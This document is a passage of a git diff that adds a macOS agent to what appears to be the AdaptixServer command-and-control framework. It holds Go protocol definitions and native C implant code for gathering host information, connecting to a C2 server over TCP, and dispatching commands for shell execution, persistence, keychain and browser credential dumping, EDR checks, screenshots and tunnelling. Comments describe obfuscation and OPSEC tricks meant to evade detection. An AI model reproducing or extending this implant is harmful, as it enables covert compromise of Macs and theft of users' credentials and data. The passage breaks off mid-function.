keyLit.WriteString("}") + + // Generate source + var src strings.Builder + src.WriteString("package utils\n\n") + src.WriteString("// AUTO-GENERATED — per-payload XOR-obfuscated strings.\n") + src.WriteString("// Do not edit. Regenerated on each build.\n\n") + src.WriteString(fmt.Sprintf("var xorKey = %s\n\n", keyLit.String())) + + // Build nonce — ensures unique binary hash per payload even with identical config + var nonceLit strings.Builder + nonceLit.WriteString("[]byte{") + for i, b := range buildNonce { + if i > 0 { + nonceLit.WriteString(", ") + } + nonceLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + nonceLit.WriteString("}") + src.WriteString(fmt.Sprintf("var _ = %s // build nonce\n\n", nonceLit.String())) + + // Generate accessor functions + for name, plain := range strs { + encoded := xorEncode(plain, key) + src.WriteString(fmt.Sprintf("func %s() string { return Xor([]byte(\"%s\"), xorKey) }\n", name, encoded)) + } + + return src.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_utils.go b/AdaptixServer/extenders/macos_agent/pl_utils.go new file mode 100644 index 000000000..8abb0d3d5 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_utils.go @@ -0,0 +1,418 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from gopher_agent, not shared. +/// Any macOS-specific additions go here without affecting gopher. + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` + Method string `msgpack:"method"` + Name string `msgpack:"name"` +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` + Target string `msgpack:"target"` +} + +/// Command codes — must match agent-side defines + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + CALLBACK_CUSTOM = 0x1000 + CALLBACK_CUSTOM_LAST = 0x13ff + + CALLBACK_AX_SCREENSHOT = 0x81 + CALLBACK_AX_DOWNLOAD_MEM = 0x82 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/Makefile b/AdaptixServer/extenders/macos_agent/src_agent/Makefile new file mode 100644 index 000000000..ff1d6cd2f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/Makefile @@ -0,0 +1,44 @@ +# macOS Agent (Native C) — Development Makefile +# For manual testing / validation. Production builds use pl_main.go. + +CC = aarch64-apple-darwin23.5-clang +CFLAGS = -Os -fno-stack-protector -Wall -Wextra -Wno-unused-parameter -Wno-unused-function +LDFLAGS = -lSystem -framework CoreFoundation +SRCDIR = agent +OBJDIR = obj + +SOURCES = $(SRCDIR)/main.c \ + $(SRCDIR)/crt.c \ + $(SRCDIR)/msgpack.c \ + $(SRCDIR)/crypt.c \ + $(SRCDIR)/connector.c \ + $(SRCDIR)/agent_info.c \ + $(SRCDIR)/commander.c \ + $(SRCDIR)/tasks_fs.c \ + $(SRCDIR)/tasks_proc.c \ + $(SRCDIR)/tasks_macos.c \ + $(SRCDIR)/jobs.c \ + $(SRCDIR)/tasks_async.c \ + $(SRCDIR)/tasks_net.c \ + $(SRCDIR)/dyld_resolve.c \ + $(SRCDIR)/opsec.c + +OBJECTS = $(SOURCES:$(SRCDIR)/%.c=$(OBJDIR)/%.o) +TARGET = agent_macos + +.PHONY: all clean + +all: $(TARGET) + +$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR) + $(CC) $(CFLAGS) -I$(SRCDIR) -c $< -o $@ + +$(TARGET): $(OBJECTS) + $(CC) $(LDFLAGS) -o $@ $(OBJECTS) + @echo "Built: $@ ($$(ls -la $@ | awk '{print $$5}') bytes)" + +$(OBJDIR): + mkdir -p $(OBJDIR) + +clean: + rm -rf $(OBJDIR) $(TARGET) diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c new file mode 100644 index 000000000..229f597a4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c @@ -0,0 +1,141 @@ +#include "agent_info.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include + +// Get OS version from SystemVersion.plist (same as Go agent) +static void get_os_version(char* buf, size_t buf_size) { + // Read SystemVersion.plist and extract ProductVersion value + DEOBF(sysver_path, OBF_SYSVER_PLIST); + int fd = R_open(sysver_path, 0 /* O_RDONLY */, 0); + ZERO_STR(sysver_path, OBF_SYSVER_PLIST); + if (fd < 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + + char plist[4096]; + ssize_t n = R_read(fd, plist, sizeof(plist) - 1); + R_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + plist[n] = '\0'; + + // Find ProductVersionXX.X.X + const char* key = ax_strstr(plist, "ProductVersion"); + if (!key) { ax_strncpy(buf, "unknown", buf_size); return; } + const char* sopen = ax_strstr(key, ""); + if (!sopen) { ax_strncpy(buf, "unknown", buf_size); return; } + sopen += 8; // skip "" + const char* sclose = ax_strstr(sopen, ""); + if (!sclose) { ax_strncpy(buf, "unknown", buf_size); return; } + + size_t vlen = (size_t)(sclose - sopen); + if (vlen >= buf_size) vlen = buf_size - 1; + ax_memcpy(buf, sopen, vlen); + buf[vlen] = '\0'; +} + +// Get primary IPv4 address (non-loopback, non-link-local) +static void get_primary_ip(char* buf, size_t buf_size) { + buf[0] = '\0'; + struct ifaddrs* ifaddr; + if (R_getifaddrs(&ifaddr) != 0) return; + + for (struct ifaddrs* ifa = ifaddr; ifa; ifa = ifa->ifa_next) { + if (!ifa->ifa_addr) continue; + if (ifa->ifa_addr->sa_family != AF_INET) continue; + + struct sockaddr_in* sa = (struct sockaddr_in*)ifa->ifa_addr; + uint32_t addr = sa->sin_addr.s_addr; + + // Skip loopback (127.x.x.x) + if ((addr & 0xFF) == 127) continue; + // Skip link-local (169.254.x.x) + if ((addr & 0xFFFF) == 0xFEA9) continue; + + R_inet_ntop(AF_INET, &sa->sin_addr, buf, (socklen_t)buf_size); + } + + R_freeifaddrs(ifaddr); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + // Gather system information + char hostname[256] = {0}; + R_gethostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + if (pw && pw->pw_name) { + ax_strncpy(username, pw->pw_name, sizeof(username) - 1); + } + + char process[1024] = {0}; + { + // Use sysctl(KERN_PROCARGS2) instead of _NSGetExecutablePath + // to avoid direct dyld import (OPSEC: reduces IAT surface) + int mib[3] = {CTL_KERN, KERN_PROCARGS2, (int)R_getpid()}; + size_t sz = 0; + R_sysctl(mib, 3, (void*)0, &sz, (void*)0, 0); + if (sz > 0 && sz < 65536) { + uint8_t* data = (uint8_t*)ax_malloc(sz); + if (R_sysctl(mib, 3, data, &sz, (void*)0, 0) == 0 && sz > sizeof(int)) { + // Layout: [argc:4B][exec_path\0][args...] + const char* path = (const char*)(data + sizeof(int)); + // Extract basename + const char* last = path; + for (const char* p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + ax_strncpy(process, last, sizeof(process) - 1); + } else { + ax_strcpy(process, "unknown"); + } + ax_free(data, sz); + } else { + ax_strcpy(process, "unknown"); + } + } + + char ip[64] = {0}; + get_primary_ip(ip, sizeof(ip)); + + char os_version[64] = {0}; + get_os_version(os_version, sizeof(os_version)); + + int pid = (int)R_getpid(); + int elevated = (R_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order (not alphabetical) + // Go struct order: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "darwin"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h new file mode 100644 index 000000000..8a863c803 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h @@ -0,0 +1,15 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include "msgpack.h" + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct +/// Also generates a random 16-byte session encryption key +/// +/// msgpack keys (alphabetical order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes) +int create_session_info(mp_writer_t* w, uint8_t* session_key); + +#endif // AGENT_INFO_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c new file mode 100644 index 000000000..0dac11772 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c @@ -0,0 +1,114 @@ +#include "commander.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_macos.h" +#include "tasks_async.h" +#include "tasks_net.h" + +static int task_pwd(mp_writer_t* w); +static int task_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + (void)cmd_id; + + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + case COMMAND_ZIP: + return task_zip(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── macOS-specific commands ── + case COMMAND_SCREENSHOT: + return task_screenshot(response); + case COMMAND_CLIPBOARD: + return task_clipboard(response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_TCC_CHECK: + return task_tcc_check(response); + case COMMAND_DEFAULTS: + return task_defaults_read(data, data_len, response); + case COMMAND_EDR_CHECK: + return task_edr_check(response); + case COMMAND_KEYCHAIN: + return task_keychain(data, data_len, response); + case COMMAND_BROWSER_DUMP: + return task_browser_dump(data, data_len, response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + default: + return task_error(response, "Unknown command"); + } +} + +static int task_pwd(mp_writer_t* w) { + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == (char*)0) { + return task_error(w, "getcwd failed"); + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +static int task_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h new file mode 100644 index 000000000..8e12fcada --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server +/// Input: array of msgpack-encoded Command structs +/// Output: array of msgpack-encoded response buffers +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code + +// Process all commands from inMessage.Object +// Returns msgpack-encoded array of response buffers +// Caller must free the returned buffer +int process_commands(const uint8_t** commands, uint32_t* cmd_sizes, + uint32_t cmd_count, + buffer_t* out_responses, uint32_t* out_count); + +// Process a single command, write response to writer +// Returns 0 on success +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response); + +#endif // COMMANDER_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c new file mode 100644 index 000000000..ef303eac6 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c @@ -0,0 +1,158 @@ +#include "connector.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +// Parse "host:port" string +static int parse_address(const char* address, char* host, size_t host_len, uint16_t* port) { + const char* colon = (const char*)0; + // Find last colon (handles IPv6 in brackets) + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= host_len) return -1; + + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + // Parse port + *port = 0; + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + *port = *port * 10 + (*p - '0'); + p++; + } + if (*port == 0) return -1; + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + char host[256]; + uint16_t port; + + if (parse_address(address, host, sizeof(host), &port) != 0) + return -1; + + // Resolve hostname + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; // TCP + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + // Create socket + c->fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (c->fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Connect + if (R_connect(c->fd, result->ai_addr, result->ai_addrlen) != 0) { + R_close(c->fd); + c->fd = -1; + R_freeaddrinfo(result); + return -1; + } + + R_freeaddrinfo(result); + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + R_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + ssize_t n = R_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data, msg_len); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + ssize_t n = R_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + ssize_t n = R_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h new file mode 100644 index 000000000..8c255f4c4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h @@ -0,0 +1,36 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +// Connect to address "host:port" via TCP +// Returns 0 on success, -1 on failure +int conn_open(connector_t* c, const char* address); + +// Close connection +void conn_close(connector_t* c); + +// Read exactly `size` bytes +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size); + +// Receive a length-prefixed message +// Allocates buffer, sets *data and *len +// Caller must free *data with ax_free(*data, *len) +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len); + +// Send a length-prefixed message +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len); + +// Read and discard `size` bytes (for banner) +int conn_discard(connector_t* c, size_t size); + +#endif // CONNECTOR_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c new file mode 100644 index 000000000..e595e1693 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c @@ -0,0 +1,306 @@ +#include "crt.h" +#include "types.h" + +/// ARM64 macOS direct syscalls +/// BSD syscall convention: x16 = syscall number (0x2000000 | bsd_number) +/// x0-x5 = arguments, result in x0, carry flag set on error + +#define SYS_exit 0x2000001 +#define SYS_read 0x2000003 +#define SYS_write 0x2000004 +#define SYS_open 0x2000005 +#define SYS_close 0x2000006 +#define SYS_mmap 0x20000C5 // 197 +#define SYS_munmap 0x2000049 // 73 + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + return raw_syscall6(number, a0, a1, a2, 0, 0, 0); +} + +static inline long raw_syscall1(long number, long a0) { + return raw_syscall6(number, a0, 0, 0, 0, 0, 0); +} + +/// ---- Memory allocation via mmap/munmap ---- + +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x1000 // macOS: MAP_ANON = 0x1000 +#define PROT_READ 0x01 +#define PROT_WRITE 0x02 + +// Allocation header: store size for freeing +typedef struct { + size_t total_size; +} alloc_header_t; + +#define HEADER_SIZE ((sizeof(alloc_header_t) + 15) & ~15) // 16-byte aligned + +void* ax_malloc(size_t size) { + if (size == 0) return (void*)0; + + size_t total = HEADER_SIZE + size; + // Round up to page size for clean munmap on macOS + size_t page_total = (total + 4095) & ~4095UL; + // mmap(NULL, page_total, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + long result = raw_syscall6(SYS_mmap, 0, (long)page_total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (result < 0 || result == 0) + return (void*)0; + + alloc_header_t* header = (alloc_header_t*)result; + header->total_size = page_total; + return (void*)((uint8_t*)result + HEADER_SIZE); +} + +void ax_free(void* ptr, size_t size) { + (void)size; + if (!ptr) return; + alloc_header_t* header = (alloc_header_t*)((uint8_t*)ptr - HEADER_SIZE); + size_t total = header->total_size; + // Sanity check: total_size must be page-aligned and reasonable + if (total == 0 || (total & 4095) != 0 || total > (1UL << 30)) { + // Header corrupted — skip memset, just munmap with page-aligned size + total = ((HEADER_SIZE + size) + 4095) & ~4095UL; + } else { + // Zero memory before freeing (OPSEC) + ax_memset(ptr, 0, total - HEADER_SIZE); + } + raw_syscall3(SYS_munmap, (long)header, (long)total, 0); +} + +void* ax_realloc(void* ptr, size_t old_size, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { + ax_free(ptr, old_size); + return (void*)0; + } + + void* new_ptr = ax_malloc(new_size); + if (!new_ptr) return (void*)0; + + size_t copy_size = old_size < new_size ? old_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr, old_size); + return new_ptr; +} + +/// ---- String/memory functions ---- + +void* ax_memset(void* dst, int val, size_t n) { + uint8_t* d = (uint8_t*)dst; + while (n--) *d++ = (uint8_t)val; + return dst; +} + +void* ax_memcpy(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + while (n--) *d++ = *s++; + return dst; +} + +void* ax_memmove(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; + s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void* a, const void* b, size_t n) { + const uint8_t* pa = (const uint8_t*)a; + const uint8_t* pb = (const uint8_t*)b; + while (n--) { + if (*pa != *pb) return 